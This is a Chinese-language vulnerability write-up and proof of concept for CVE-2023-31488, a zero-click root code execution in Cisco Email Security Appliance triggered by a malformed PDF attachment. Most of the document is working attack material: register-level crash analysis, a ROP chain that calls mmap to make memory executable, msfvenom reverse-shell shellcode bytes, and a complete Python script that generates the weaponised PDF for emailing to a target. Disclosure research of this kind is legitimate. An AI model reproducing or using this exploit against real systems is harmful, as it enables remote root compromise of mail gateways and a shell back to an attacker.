Cisco Email Security Appliance: 通过邮件实现零点击RCE(以root权限) - 远程代码执行/内存破坏/ROP链
安全研究员:ly1g3,ly1g3[at]tuta.io
GPG 指纹:https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
概述:通过电子邮件实现零点击 RCE 提权至 root - 远程代码执行/内存损坏/ROP 链
CVE:CVE-2023-31488
时间线:
在对 Cisco 邮件安全设备(ESA)进行模糊测试时,我在 Lexmark Perceptive Filters 中发现了一个漏洞,该过滤器被 ESA 用于电子邮件附件的数据清洗,从而通过电子邮件导致 RCE。崩溃发生在解析修改过的 PDF 附件时。通过改变一个两位数的 PDF 对象 ID,例如:
示例:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
将 ID 的一部分从 13 改为其他内容(如空格)会导致:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
将修改后的 PDF 通过电子邮件发送到 Cisco ESA 会导致 libISYSpdf6.so 发生段错误崩溃。崩溃原因是 r14 包含 ASCII 数据。
仔细检查发现,这些数据来自我们可控的 PDF 附件内容。r14 的值是 Rect。
![]()
测试将 Rect 改为 AAAA。

由于 r14 的值是从 PDF 中的数据加载的,我们可以修改它,使其指向一个有效的内存地址。经过此调整后,RAX 中的数据无效导致另一次崩溃。这些数据同样来自 PDF 的 ASCII。

我们修改 PDF,使 rax 也指向一个实际地址,然后继续。

出现了一个新的崩溃;现在 rsi 包含 PDF 中的 ASCII 数据。

我们再次修改 PDF,使其加载真实的内存地址。

最后,我们来到了代码中一个非常有趣的部分。在这里我们可以控制 rdi,它用于将值加载到 rax。该序列中的最后一条指令是 call rax。我们现在在实现代码执行能力方面取得了良好进展。

我们再次进入十六进制编辑器,修改加载到 rdi 中的值。

现在我们获得了一种有限的代码执行方式,可以跳转到单个地址。由于没有 ASLR,寻找内存地址很容易。我们还可以控制 rdi,因此使用初始 ROP 小工具 libISYSshared.so: push rdi; pop rsp; xor eax, 将 rdi 移动到 rsp,从而控制栈。我们将栈指向 PDF 内存区域中我们可控的区域,该区域已预置了一个包含更多 ROP 小工具的自定义栈。

由 msfvenom 生成的 FreeBSD 反向 shell shellcode 被放置在 PDF 内存区域中。但由于该内存不可执行,我们首先需要使其可执行。
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
由于此时我们控制了栈,可以通过以下 ROP 链调用 mmap,将 shellcode 内存区域设置为 RWX。
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
在调用 mmap 之后,call rsp; 将执行我们 shellcode 的 NOP sled,因为 shellcode 的地址位于自定义栈的下一个位置。该 shellcode 是一个由 msfvenom 生成的反向 shell。
一个有趣的事情是,这段代码在任何静态防病毒扫描之前运行,因此标准的 Metasploit 反向 shell 可以正常工作。
我们可以使用下面的 POC 创建一个可用的 PDF。之后,我们只需将其通过电子邮件发送到 ESA 即可获得 RCE。有关权限提升,请参阅我的其他漏洞。
至此,我们获得了 ESA 上的远程 shell:

这是一个有趣的项目,让我学到了很多关于内存损坏漏洞的知识。它也展示了“现代”内存保护(如 ASLR)有多么优秀,但同样表明你仍然可以在野外找到没有 ASLR 的系统。
ESA(Cisco Secure Email)溢出攻击。以 root 身份远程执行代码。
通过发送特制的 PDF 文件,溢出导致攻击者能够在 ESA 以及其他使用 Lexmark Perceptive Filters 的产品上获得任意远程代码执行。
此溢出攻击允许攻击者控制 call rax 指令,由于 ESA 上未使用 ASLR,因此很容易转向任意代码执行。代码将以 root 权限执行。
问题源于 Lexmark 的 libISYSpdf6.so 库中的 PDF 解析,由对 IGR_Open_File_Ex 函数的调用引起。该函数可以追溯到 AMP(高级恶意软件防护)中的 safeprint 功能和 image_analysis,但该漏洞也可能通过其他路径触发。
Subtype/CIDFontType2/FontDescriptor 的 PDF。示例可在 https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf 找到13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
13 的一部分替换为其他值(如空格)1 ,得到:1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
在启用 safeprint 或 AMP image_analysis 的情况下,将 PDF 发送到 ESA
这会导致 libISYSpdf6.so 发生段错误
// r14 现在受用户控制,并指向 PDF 中的数据
0x804d4ffc0 mov rax, QWORD PTR [r14+0x18]
// 调用受控的 rax,ROP 链开始
0x804d50298: call rax
import sys
from pwn import *
message = """使用方法: python3 gen_esa_exploit.py template.pdf exp.pdf
模板文件使用: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
可能需要更改 pdf_data_base_address。
ly1g3, ly1g3[at]tuta.io
"""
def insert_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
content.insert(at_address+i,addr[i])
def overwrite_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
index = at_address+i
content[index] = addr[i]
def overwrite_string_at_address(content, at_address, content_to_write):
for i in range(len(content_to_write)):
index = at_address+i
content[index] = content_to_write[i]
if len(sys.argv) < 3:
print(message)
sys.exit()
file_in = sys.argv[1]
file_out = sys.argv[2]
content = None
with open(file_in, "rb") as fi:
content = bytearray(fi.read())
pos1 = 0x1C41 # "13 0 obj" 的位置
content[pos1] = 0x20
pos2 = 0x278C # /Rect 对象,由 r14 指向
content[pos2] = 0x00
# 在 rem_start 处移除 /Font 以腾出空间存放完整地址
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# 移除 GB1 以腾出空间存放地址
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# 插入 r14 的地址
# 在 0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
# 在此处插入指向 PDF 数据的地址
# 使用指向 PDF 偏移 0xe0 的指针有效
pdf_data_base_address = 0x804c27384
address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)
# PDF 开头某处的随机偏移,但不接近头部
offset_in_pdf = 0xE0
#0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)
#0x804e51fc4 add r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)
# 0x804e08536 mov rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)
# 0x804e52286 mov rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] 文件: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
# 0x804e52289 mov rax, QWORD PTR [rax+0x18]
# 此地址将在以下位置执行
# 0x804e52298 call rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)
# 0x804e5228d mov esi, DWORD PTR [r12+0x10]
# 在 call rax 时,esi 将包含此值
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)
# $rdi 在此之后将指向 pdf_data_base_address,可用于 ROP 链
## ROP 链
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] 文件: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] 文件: libISYSshared.so: ret 0xf0;
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] 文件: libISYSshared.so: ret;
first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)
second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)
stack=0x230
overwrite_at_address(content, stack, rop3,8)
rop_chain_start=0x238
from struct import pack
p = lambda x : pack('Q', x)
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)
rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
rop += buf
print(rop)
overwrite_string_at_address(content, rop_chain_start, rop)
# 在此处放置 ROP 链
with open(file_out, "wb") as fo:
fo.write(content)